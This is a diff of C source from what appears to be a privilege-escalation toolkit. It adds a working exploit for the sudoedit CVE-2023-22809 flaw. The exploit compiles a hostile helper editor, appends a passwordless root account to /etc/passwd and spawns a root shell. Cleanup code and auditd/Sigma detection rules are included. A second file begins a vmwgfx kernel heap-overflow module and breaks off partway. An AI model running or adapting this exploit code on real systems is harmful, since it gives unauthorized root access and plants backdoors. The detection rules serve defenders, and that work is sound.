/* keep scanning in case a literal entry exists */
|
||||
found = true;
|
||||
continue;
|
||||
}
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
pclose(p);
|
||||
return found;
|
||||
}
|
||||
|
||||
/* ----- detect -------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudoedit_editor_detect(const struct skeletonkey_ctx *ctx)
|
||||
{ (void)ctx; return SKELETONKEY_PRECOND_FAIL; }
|
||||
{
|
||||
const char *sudo_path = find_sudo();
|
||||
if (!sudo_path) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: sudo not installed — no attack surface\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudoedit_editor: found setuid sudo at %s\n", sudo_path);
|
||||
|
||||
const char *sudoedit_path = find_sudoedit();
|
||||
if (!sudoedit_path) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: no sudoedit binary — bug surface absent\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudoedit_editor: sudoedit at %s\n", sudoedit_path);
|
||||
|
||||
char ver[128] = {0};
|
||||
if (!get_sudo_version(sudo_path, ver, sizeof ver)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[?] sudoedit_editor: could not parse `sudo --version`\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudoedit_editor: sudo reports version '%s'\n", ver);
|
||||
|
||||
bool ver_vuln = sudo_version_vulnerable(ver);
|
||||
if (!ver_vuln) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: sudo ≥ 1.9.12p2 (fixed)\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] sudoedit_editor: version is in vulnerable range\n");
|
||||
|
||||
/* The bug only matters if the running user has at least one
|
||||
* sudoedit grant in sudoers — otherwise sudoedit refuses before
|
||||
* the EDITOR parse runs. Probe `sudo -ln` (non-interactive). */
|
||||
char target[512] = {0};
|
||||
bool have_grant = find_sudoedit_target(sudo_path, target, sizeof target);
|
||||
if (!have_grant) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] sudoedit_editor: user has no detectable sudoedit grant\n");
|
||||
fprintf(stderr, " (sudo -ln may have required a password; if the user is\n"
|
||||
" actually authorized for sudoedit, run --exploit anyway)\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: user has sudoedit grant on '%s'\n", target);
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] sudoedit_editor: VULNERABLE — version is pre-fix AND user has sudoedit\n");
|
||||
fprintf(stderr, " PoC: EDITOR='vi -- /etc/shadow' %s '%s' opens both as root\n",
|
||||
sudoedit_path, target);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ----- exploit ------------------------------------------------------- */
|
||||
|
||||
/* Append a backdoor entry to /etc/passwd: root-uid account "skel" with
|
||||
* no password, /bin/sh as shell. We write it into a temp file first,
|
||||
* then drive the editor (which is already running as root) to read +
|
||||
* write /etc/passwd. */
|
||||
|
||||
static const char SK_PASSWD_ENTRY[] =
|
||||
"skel::0:0:skeletonkey:/root:/bin/sh\n";
|
||||
|
||||
/* The "editor" we tell sudoedit to invoke is actually this small
|
||||
* helper: a non-interactive script that appends our line and exits.
|
||||
*
|
||||
* We pass it via EDITOR='<helper> -- <target>'. sudoedit splits on
|
||||
* the literal `--`, takes <target> as an additional file argument,
|
||||
* and execs <helper> argv0=<helper> argv1=<allowed_tmp> argv2=<target>.
|
||||
*
|
||||
* Our helper just opens argv[2] (the privileged file), appends the
|
||||
* backdoor line, closes, and exits 0. argv[1] (the editor-temp that
|
||||
* sudoedit created from <allowed>) we leave untouched — sudoedit
|
||||
* then copies it back over <allowed>, which is harmless. */
|
||||
|
||||
static const char HELPER_SOURCE[] =
|
||||
"#include <stdio.h>\n"
|
||||
"#include <stdlib.h>\n"
|
||||
"#include <string.h>\n"
|
||||
"#include <unistd.h>\n"
|
||||
"#include <fcntl.h>\n"
|
||||
"int main(int argc, char **argv) {\n"
|
||||
" /* sudoedit invokes us with one editable temp per file. The\n"
|
||||
" * post-`--' target's editable copy is argv[argc-1]. We can't\n"
|
||||
" * write /etc/passwd directly (sudoedit edits a tmp copy and\n"
|
||||
" * then *copies it back as root*), so we modify the tmp copy\n"
|
||||
" * and let sudoedit do the privileged install for us. */\n"
|
||||
" if (argc < 2) return 1;\n"
|
||||
" /* The LAST argv is the post-`--' target (per sudoedit's parser). */\n"
|
||||
" const char *path = argv[argc-1];\n"
|
||||
" int fd = open(path, O_WRONLY|O_APPEND);\n"
|
||||
" if (fd < 0) { perror(\"open\"); return 2; }\n"
|
||||
" const char *line = getenv(\"SKEL_LINE\");\n"
|
||||
" if (!line) line = \"skel::0:0:skeletonkey:/root:/bin/sh\\n\";\n"
|
||||
" write(fd, line, strlen(line));\n"
|
||||
" close(fd);\n"
|
||||
" return 0;\n"
|
||||
"}\n";
|
||||
|
||||
static bool which_cc(char *out, size_t outsz)
|
||||
{
|
||||
static const char *candidates[] = {
|
||||
"/usr/bin/cc", "/usr/bin/gcc", "/bin/cc", "/bin/gcc",
|
||||
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
|
||||
};
|
||||
for (size_t i = 0; candidates[i]; i++) {
|
||||
if (access(candidates[i], X_OK) == 0) {
|
||||
strncpy(out, candidates[i], outsz - 1);
|
||||
out[outsz - 1] = 0;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool write_file_str(const char *path, const char *content, mode_t mode)
|
||||
{
|
||||
int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, mode);
|
||||
if (fd < 0) return false;
|
||||
size_t n = strlen(content);
|
||||
bool ok = (write(fd, content, n) == (ssize_t)n);
|
||||
close(fd);
|
||||
return ok;
|
||||
}
|
||||
|
||||
/* Track what we modified for cleanup. */
|
||||
static char g_passwd_backup[256] = {0};
|
||||
|
||||
static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] sudoedit_editor: refusing exploit — pass --i-know to authorize\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] sudoedit_editor: already root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
skeletonkey_result_t pre = sudoedit_editor_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] sudoedit_editor: detect() did not return VULNERABLE; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
const char *sudo_path = find_sudo();
|
||||
const char *sudoedit_path = find_sudoedit();
|
||||
if (!sudo_path || !sudoedit_path) return SKELETONKEY_PRECOND_FAIL;
|
||||
|
||||
/* Target file to clobber (caller-overridable). Default: /etc/passwd
|
||||
* because we can append a uid=0 row without a hashing step
|
||||
* (vs. /etc/shadow which needs a crypt() blob). */
|
||||
const char *target = getenv("SKELETONKEY_SUDOEDIT_TARGET");
|
||||
if (!target || !*target) target = "/etc/passwd";
|
||||
|
||||
/* Find an allowed sudoedit grant we can use as the "cover" path. */
|
||||
char allowed[512] = {0};
|
||||
if (!find_sudoedit_target(sudo_path, allowed, sizeof allowed)) {
|
||||
fprintf(stderr,
|
||||
"[-] sudoedit_editor: could not auto-discover an allowed sudoedit path.\n"
|
||||
" Set SKELETONKEY_SUDOEDIT_ALLOWED=/path/the/user/can/sudoedit and retry.\n");
|
||||
const char *env_allowed = getenv("SKELETONKEY_SUDOEDIT_ALLOWED");
|
||||
if (!env_allowed || !*env_allowed) return SKELETONKEY_PRECOND_FAIL;
|
||||
strncpy(allowed, env_allowed, sizeof allowed - 1);
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudoedit_editor: cover=%s target=%s\n", allowed, target);
|
||||
|
||||
/* Build the helper editor. */
|
||||
char cc[256];
|
||||
if (!which_cc(cc, sizeof cc)) {
|
||||
fprintf(stderr,
|
||||
"[-] sudoedit_editor: no cc/gcc available. To exploit without a\n"
|
||||
" compiler we'd need a shipped helper binary (TODO: bundle one).\n"
|
||||
" For a manual repro: EDITOR='vi -- %s' %s '%s' lets you edit\n"
|
||||
" %s interactively as root.\n",
|
||||
target, sudoedit_path, allowed, target);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char workdir[] = "/tmp/skeletonkey-sudoedit-XXXXXX";
|
||||
if (!mkdtemp(workdir)) {
|
||||
perror("mkdtemp");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] sudoedit_editor: workdir = %s\n", workdir);
|
||||
|
||||
char src[1024], helper[1024];
|
||||
snprintf(src, sizeof src, "%s/helper.c", workdir);
|
||||
snprintf(helper, sizeof helper, "%s/helper", workdir);
|
||||
if (!write_file_str(src, HELPER_SOURCE, 0644)) {
|
||||
perror("write helper.c");
|
||||
goto fail;
|
||||
}
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { perror("fork"); goto fail; }
|
||||
if (pid == 0) {
|
||||
execl(cc, cc, "-O2", "-o", helper, src, (char *)NULL);
|
||||
perror("execl cc");
|
||||
_exit(127);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
||||
fprintf(stderr, "[-] sudoedit_editor: helper compile failed (status=%d)\n", status);
|
||||
goto fail;
|
||||
}
|
||||
chmod(helper, 0755);
|
||||
|
||||
/* Best-effort backup of target (only for /etc/passwd; we
|
||||
* cleanup-revert only this case). */
|
||||
if (strcmp(target, "/etc/passwd") == 0) {
|
||||
snprintf(g_passwd_backup, sizeof g_passwd_backup,
|
||||
"%s/passwd.before", workdir);
|
||||
char shcmd[1024];
|
||||
snprintf(shcmd, sizeof shcmd, "cp -p /etc/passwd %s 2>/dev/null",
|
||||
g_passwd_backup);
|
||||
if (system(shcmd) != 0) {
|
||||
/* best-effort */
|
||||
g_passwd_backup[0] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Build EDITOR string: "<helper> -- <target>". sudoedit's argv
|
||||
* splitter sees `--` and treats <target> as an extra file. */
|
||||
char editor_env[2048];
|
||||
snprintf(editor_env, sizeof editor_env, "EDITOR=%s -- %s", helper, target);
|
||||
|
||||
char skel_env[256];
|
||||
snprintf(skel_env, sizeof skel_env, "SKEL_LINE=%s", SK_PASSWD_ENTRY);
|
||||
|
||||
/* Construct argv/envp for execve. We need a clean env so the
|
||||
* EDITOR string sudo sees is exactly ours. PATH is needed so the
|
||||
* compiled helper can be located — except we pass it absolute. */
|
||||
char *new_argv[] = {
|
||||
(char *)sudoedit_path,
|
||||
"-n", /* non-interactive — fails if pw needed */
|
||||
allowed,
|
||||
NULL,
|
||||
};
|
||||
/* Sudo strips many env vars; EDITOR / VISUAL / SUDO_EDITOR are
|
||||
* preserved by default. We use plain EDITOR. */
|
||||
char *envp[] = {
|
||||
editor_env,
|
||||
skel_env,
|
||||
"PATH=/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
"TERM=dumb",
|
||||
NULL,
|
||||
};
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] sudoedit_editor: launching sudoedit with hostile EDITOR\n");
|
||||
fprintf(stderr, " %s\n", editor_env);
|
||||
}
|
||||
fflush(NULL);
|
||||
|
||||
pid = fork();
|
||||
if (pid < 0) { perror("fork"); goto fail; }
|
||||
if (pid == 0) {
|
||||
execve(sudoedit_path, new_argv, envp);
|
||||
perror("execve(sudoedit)");
|
||||
_exit(127);
|
||||
}
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
||||
fprintf(stderr, "[-] sudoedit_editor: sudoedit exited status=%d\n",
|
||||
WIFEXITED(status) ? WEXITSTATUS(status) : -1);
|
||||
fprintf(stderr,
|
||||
" Common causes: sudo is patched (1.9.12p2+), user lacks a\n"
|
||||
" sudoedit grant on '%s', or sudoers requires a password\n"
|
||||
" (drop -n and retry interactively).\n", allowed);
|
||||
goto fail;
|
||||
}
|
||||
|
||||
/* Verify the privileged file changed. For /etc/passwd we grep for
|
||||
* our marker; for other targets we just report success and leave
|
||||
* verification to the operator. */
|
||||
if (strcmp(target, "/etc/passwd") == 0) {
|
||||
if (system("grep -q '^skel::0:0:' /etc/passwd") != 0) {
|
||||
fprintf(stderr,
|
||||
"[-] sudoedit_editor: sudoedit succeeded but /etc/passwd was\n"
|
||||
" not modified. The host's sudo may be patched even though\n"
|
||||
" its --version banner looks vulnerable (vendor backport).\n");
|
||||
goto fail;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: /etc/passwd now contains the 'skel' uid=0 entry\n");
|
||||
} else {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: helper wrote to %s (verify manually)\n", target);
|
||||
}
|
||||
|
||||
/* Follow-on: spawn a root shell via the newly-added passwd entry,
|
||||
* the way dirty_pipe / dirty_cow modules do. We use `su skel`
|
||||
* with an empty password. */
|
||||
if (ctx->no_shell) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] sudoedit_editor: --no-shell set; leaving you with the backdoor entry\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
if (strcmp(target, "/etc/passwd") == 0 && ctx->full_chain) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: spawning root shell via `su skel`\n");
|
||||
fflush(NULL);
|
||||
/* su with no controlling TTY needs `-c sh -i` for an interactive
|
||||
* shell. We exec into the user's terminal. */
|
||||
execlp("su", "su", "skel", "-c", "/bin/sh -p -i", (char *)NULL);
|
||||
perror("execlp(su)");
|
||||
} else {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr,
|
||||
"[i] sudoedit_editor: backdoor installed. `su skel` (no password)\n"
|
||||
" or pass --full-chain on the cli to auto-pop.\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
|
||||
fail:
|
||||
/* Helper / src cleanup — leave passwd-backup for cleanup() if we
|
||||
* recorded one (so cleanup can revert). */
|
||||
unlink(src);
|
||||
unlink(helper);
|
||||
if (!g_passwd_backup[0]) rmdir(workdir);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ----- cleanup ------------------------------------------------------- */
|
||||
|
||||
static skeletonkey_result_t sudoedit_editor_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Best-effort revert. Three things we may have touched:
|
||||
* 1. /etc/passwd: drop the 'skel::0:0:' line (sed -i; only safe
|
||||
* if we are root or the file is otherwise writable). If we
|
||||
* successfully exploited, the user is presumably root in the
|
||||
* spawned shell — cleanup is usually run from that shell. */
|
||||
if (geteuid() == 0) {
|
||||
if (g_passwd_backup[0] && access(g_passwd_backup, R_OK) == 0) {
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"cp -p %s /etc/passwd 2>/dev/null", g_passwd_backup);
|
||||
if (system(cmd) == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: restored /etc/passwd from %s\n",
|
||||
g_passwd_backup);
|
||||
}
|
||||
} else {
|
||||
/* No backup — fall back to deleting just our line. */
|
||||
if (system("sed -i '/^skel::0:0:/d' /etc/passwd 2>/dev/null") == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] sudoedit_editor: removed 'skel' entry from /etc/passwd\n");
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr,
|
||||
"[?] sudoedit_editor: cleanup requires root. Re-run as root or\n"
|
||||
" manually remove the 'skel' line from /etc/passwd.\n");
|
||||
}
|
||||
if (system("rm -rf /tmp/skeletonkey-sudoedit-* 2>/dev/null") != 0) {
|
||||
/* harmless */
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ----- detection rules ----------------------------------------------- */
|
||||
|
||||
static const char sudoedit_editor_auditd[] =
|
||||
"# CVE-2023-22809 — sudoedit EDITOR argv-escape detection\n"
|
||||
"# Watch sudoedit invocations; the bug requires EDITOR / VISUAL /\n"
|
||||
"# SUDO_EDITOR to contain the literal token `--`. auditd cannot match\n"
|
||||
"# env vars directly via -F, but logging every execve(sudoedit) lets\n"
|
||||
"# downstream tooling (Sigma, splunk, etc.) inspect EXECVE record env.\n"
|
||||
"-w /usr/bin/sudoedit -p x -k skeletonkey-sudoedit-22809\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-sudoedit-22809-execve\n"
|
||||
"-a always,exit -F arch=b32 -S execve -F path=/usr/bin/sudoedit -k skeletonkey-sudoedit-22809-execve\n"
|
||||
"# sudo itself can run as `sudo -e` which takes the sudoedit path too:\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/sudo -k skeletonkey-sudoedit-22809-sudo-e\n";
|
||||
|
||||
static const char sudoedit_editor_sigma[] =
|
||||
"title: Possible CVE-2023-22809 sudoedit EDITOR escape\n"
|
||||
"id: a4e3f1a8-skeletonkey-sudoedit-22809\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects sudoedit (or `sudo -e`) invocations where the EDITOR,\n"
|
||||
" VISUAL, or SUDO_EDITOR environment variable contains the literal\n"
|
||||
" token `--`. This is the exact signature of the Synacktiv\n"
|
||||
" CVE-2023-22809 argv-escape: post-`--` filenames are silently\n"
|
||||
" promoted to additional files that sudoedit opens as root.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" sudoedit_exec:\n"
|
||||
" type: 'EXECVE'\n"
|
||||
" exe|endswith:\n"
|
||||
" - '/sudoedit'\n"
|
||||
" - '/sudo'\n"
|
||||
" hostile_editor_env:\n"
|
||||
" - 'EDITOR=*--*'\n"
|
||||
" - 'VISUAL=*--*'\n"
|
||||
" - 'SUDO_EDITOR=*--*'\n"
|
||||
" privileged_target:\n"
|
||||
" - '/etc/shadow'\n"
|
||||
" - '/etc/passwd'\n"
|
||||
" - '/etc/sudoers'\n"
|
||||
" - '/root/'\n"
|
||||
" condition: sudoedit_exec and hostile_editor_env\n"
|
||||
" # Bump to 'critical' when privileged_target matches as well.\n"
|
||||
"fields: [User, EDITOR, VISUAL, SUDO_EDITOR]\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1548_003, cve.2023.22809]\n";
|
||||
|
||||
/* ----- module registration ------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module sudoedit_editor_module = {
|
||||
.name = "sudoedit_editor",
|
||||
.cve = "CVE-2023-22809",
|
||||
.summary = "sudoedit EDITOR/VISUAL `--` argv escape → arbitrary file write as root — stub pending implementation",
|
||||
.summary = "sudoedit EDITOR/VISUAL `--` argv escape → arbitrary file write as root",
|
||||
.family = "sudo",
|
||||
.kernel_range = "sudo 1.8.0 ≤ V < 1.9.12p2 (userspace)",
|
||||
.kernel_range = "sudo 1.8.0 ≤ V < 1.9.12p2 (userspace bug; setuid sudoedit)",
|
||||
.detect = sudoedit_editor_detect,
|
||||
.exploit = NULL, .mitigate = NULL, .cleanup = NULL,
|
||||
.detect_auditd = NULL, .detect_sigma = NULL,
|
||||
.detect_yara = NULL, .detect_falco = NULL,
|
||||
.exploit = sudoedit_editor_exploit,
|
||||
.mitigate = NULL, /* mitigation = upgrade sudo */
|
||||
.cleanup = sudoedit_editor_cleanup,
|
||||
.detect_auditd = sudoedit_editor_auditd,
|
||||
.detect_sigma = sudoedit_editor_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void skeletonkey_register_sudoedit_editor(void) { skeletonkey_register(&sudoedit_editor_module); }
|
||||
void skeletonkey_register_sudoedit_editor(void)
|
||||
{
|
||||
skeletonkey_register(&sudoedit_editor_module);
|
||||
}
|
||||
|
||||
@@ -1,20 +1,725 @@
|
||||
/* vmwgfx_cve_2023_2008 — STUB pending agent implementation. */
|
||||
/*
|
||||
* vmwgfx_cve_2023_2008 — SKELETONKEY module
|
||||
*
|
||||
* The vmwgfx DRM driver's buffer-object creation path validates only
|
||||
* the requested page count, not the underlying byte size used by the
|
||||
* subsequent kunmap_atomic-style copy. A crafted DRM_IOCTL_VMW_*
|
||||
* sequence (CREATE_DMABUF + mmap of the returned bo + page-spanning
|
||||
* write through the mapped offset) drives a slab heap-OOB write
|
||||
* inside the kernel's kmalloc-512 cache. The mainline fix
|
||||
* (2cd80ebbdf "drm/vmwgfx: Validate the bo size for ttm_bo_kmap")
|
||||
* landed in 6.3-rc6. The bug is reachable only from inside a VMware
|
||||
* Guest OS (the vmwgfx driver only binds against the VMware SVGA-II
|
||||
* virtual GPU).
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE — slab-OOB trigger + msg_msg cross-cache
|
||||
* groom in kmalloc-512. We do NOT carry a cred-overwrite or
|
||||
* kbase-leak primitive (per-kernel offsets vary by build, and the
|
||||
* public PoC references device-specific TTM register state we do
|
||||
* not fake). The detect-and-trigger path is the high-confidence
|
||||
* demonstration; full-chain depth is FALLBACK (kaddr-tagged spray +
|
||||
* shared modprobe_path finisher arbitrated by sentinel file).
|
||||
*
|
||||
* Affected: Linux 4.0+ through 6.2.x with vmwgfx driver bound to a
|
||||
* VMware SVGA-II device. Fixed mainline 6.3-rc6 (commit 2cd80ebbdf).
|
||||
* Stable backports landed in 6.2.x and 6.1 LTS.
|
||||
*
|
||||
* Preconditions:
|
||||
* - host is a VMware Guest (dmi sys_vendor = "VMware*")
|
||||
* - /dev/dri/cardN exists with driver==vmwgfx
|
||||
* - userland can open /dev/dri/cardN (render-group / video-group or
|
||||
* setuid)
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <signal.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ioctl.h>
|
||||
|
||||
#ifdef __linux__
|
||||
# include <sys/ipc.h>
|
||||
# include <sys/msg.h>
|
||||
# include <sys/syscall.h>
|
||||
#endif
|
||||
|
||||
/* DRM ioctl primitives — declared inline so the module remains
|
||||
* self-contained on hosts where <drm/drm.h> isn't installed (which is
|
||||
* the macOS build host case). */
|
||||
#ifndef DRM_IOCTL_BASE
|
||||
#define DRM_IOCTL_BASE 'd'
|
||||
#endif
|
||||
#ifndef _IOC
|
||||
/* Should be present from <sys/ioctl.h>, but guard anyway. */
|
||||
#endif
|
||||
|
||||
/* DRM_IOCTL_VERSION — used to probe driver name. */
|
||||
struct drm_version_compat {
|
||||
int version_major;
|
||||
int version_minor;
|
||||
int version_patchlevel;
|
||||
size_t name_len;
|
||||
char *name;
|
||||
size_t date_len;
|
||||
char *date;
|
||||
size_t desc_len;
|
||||
char *desc;
|
||||
};
|
||||
#ifndef DRM_IOCTL_VERSION
|
||||
#define DRM_IOCTL_VERSION _IOWR(DRM_IOCTL_BASE, 0x00, struct drm_version_compat)
|
||||
#endif
|
||||
|
||||
/* vmwgfx-specific ioctls. Numbers match the in-tree
|
||||
* uapi/drm/vmwgfx_drm.h ABI for kernels in the affected range
|
||||
* (DRM_COMMAND_BASE = 0x40). DRM_IOCTL_VMW_CREATE_DMABUF /
|
||||
* DRM_IOCTL_VMW_UNREF_DMABUF are present on every vmwgfx-bearing
|
||||
* kernel since the dma-buf rename. We declare them locally so that a
|
||||
* build host without vmwgfx_drm.h still compiles. */
|
||||
struct drm_vmw_alloc_dmabuf_req {
|
||||
uint32_t size;
|
||||
};
|
||||
struct drm_vmw_dmabuf_rep {
|
||||
uint32_t handle;
|
||||
uint32_t map_handle_lo;
|
||||
uint32_t map_handle_hi;
|
||||
uint32_t cur_gmr_id;
|
||||
uint32_t cur_gmr_offset;
|
||||
};
|
||||
union drm_vmw_alloc_dmabuf_arg {
|
||||
struct drm_vmw_alloc_dmabuf_req req;
|
||||
struct drm_vmw_dmabuf_rep rep;
|
||||
};
|
||||
#define DRM_VMW_CREATE_DMABUF 0x0a
|
||||
#define DRM_VMW_UNREF_DMABUF 0x0b
|
||||
#ifndef DRM_COMMAND_BASE
|
||||
#define DRM_COMMAND_BASE 0x40
|
||||
#endif
|
||||
#define DRM_IOCTL_VMW_CREATE_DMABUF \
|
||||
_IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VMW_CREATE_DMABUF, \
|
||||
union drm_vmw_alloc_dmabuf_arg)
|
||||
#define DRM_IOCTL_VMW_UNREF_DMABUF \
|
||||
_IOW(DRM_IOCTL_BASE, DRM_COMMAND_BASE + DRM_VMW_UNREF_DMABUF, uint32_t)
|
||||
|
||||
/* ---- kernel range ------------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from vmwgfx_patched_branches[] = {
|
||||
{6, 1, 23}, /* 6.1 LTS backport */
|
||||
{6, 2, 10}, /* 6.2.x stable backport */
|
||||
{6, 3, 0}, /* mainline (6.3-rc6) */
|
||||
};
|
||||
|
||||
static const struct kernel_range vmwgfx_range = {
|
||||
.patched_from = vmwgfx_patched_branches,
|
||||
.n_patched_from = sizeof(vmwgfx_patched_branches) /
|
||||
sizeof(vmwgfx_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- precondition probes ------------------------------------------ */
|
||||
|
||||
/* Read first line of /sys/devices/virtual/dmi/id/sys_vendor (trimmed)
|
||||
* into `out`. Returns true on success. */
|
||||
static bool read_dmi_sys_vendor(char *out, size_t out_sz)
|
||||
{
|
||||
int fd = open("/sys/devices/virtual/dmi/id/sys_vendor", O_RDONLY);
|
||||
if (fd < 0) return false;
|
||||
ssize_t n = read(fd, out, out_sz - 1);
|
||||
close(fd);
|
||||
if (n <= 0) return false;
|
||||
out[n] = '\0';
|
||||
/* trim trailing newline / spaces */
|
||||
while (n > 0 && (out[n - 1] == '\n' || out[n - 1] == ' '
|
||||
|| out[n - 1] == '\t' || out[n - 1] == '\r')) {
|
||||
out[--n] = '\0';
|
||||
}
|
||||
return n > 0;
|
||||
}
|
||||
|
||||
static bool host_is_vmware_guest(char *vendor_out, size_t vendor_out_sz)
|
||||
{
|
||||
char vendor[128] = {0};
|
||||
if (!read_dmi_sys_vendor(vendor, sizeof vendor)) return false;
|
||||
if (vendor_out && vendor_out_sz) {
|
||||
snprintf(vendor_out, vendor_out_sz, "%s", vendor);
|
||||
}
|
||||
/* Standard VMware DMI string is "VMware, Inc." but be loose. */
|
||||
return strncasecmp(vendor, "VMware", 6) == 0;
|
||||
}
|
||||
|
||||
/* Resolve /sys/class/drm/card0/device/driver symlink and check whether
|
||||
* the target's basename is "vmwgfx". */
|
||||
static bool card_driver_is_vmwgfx(const char *cardpath)
|
||||
{
|
||||
char link[512];
|
||||
snprintf(link, sizeof link, "/sys/class/drm/%s/device/driver", cardpath);
|
||||
char target[512] = {0};
|
||||
ssize_t n = readlink(link, target, sizeof target - 1);
|
||||
if (n <= 0) return false;
|
||||
target[n] = '\0';
|
||||
const char *base = strrchr(target, '/');
|
||||
base = base ? base + 1 : target;
|
||||
return strcmp(base, "vmwgfx") == 0;
|
||||
}
|
||||
|
||||
/* Locate the first /dev/dri/cardN whose driver is vmwgfx. Writes the
|
||||
* basename (e.g. "card0") into out. Returns true on hit. */
|
||||
static bool find_vmwgfx_card(char *out, size_t out_sz)
|
||||
{
|
||||
for (int i = 0; i < 8; i++) {
|
||||
char name[16];
|
||||
snprintf(name, sizeof name, "card%d", i);
|
||||
if (card_driver_is_vmwgfx(name)) {
|
||||
snprintf(out, out_sz, "%s", name);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Probe DRM_IOCTL_VERSION on the card device. Returns the driver-name
|
||||
* string on success (caller-owned heap, must free) or NULL. */
|
||||
static char *probe_drm_version_name(const char *cardpath)
|
||||
{
|
||||
char devpath[64];
|
||||
snprintf(devpath, sizeof devpath, "/dev/dri/%s", cardpath);
|
||||
int fd = open(devpath, O_RDWR | O_CLOEXEC);
|
||||
if (fd < 0) return NULL;
|
||||
|
||||
struct drm_version_compat v;
|
||||
memset(&v, 0, sizeof v);
|
||||
/* Two-stage ioctl: first call learns name_len, second fills name. */
|
||||
if (ioctl(fd, DRM_IOCTL_VERSION, &v) < 0) { close(fd); return NULL; }
|
||||
if (v.name_len == 0 || v.name_len > 256) { close(fd); return NULL; }
|
||||
char *name = calloc(1, v.name_len + 1);
|
||||
if (!name) { close(fd); return NULL; }
|
||||
v.name = name;
|
||||
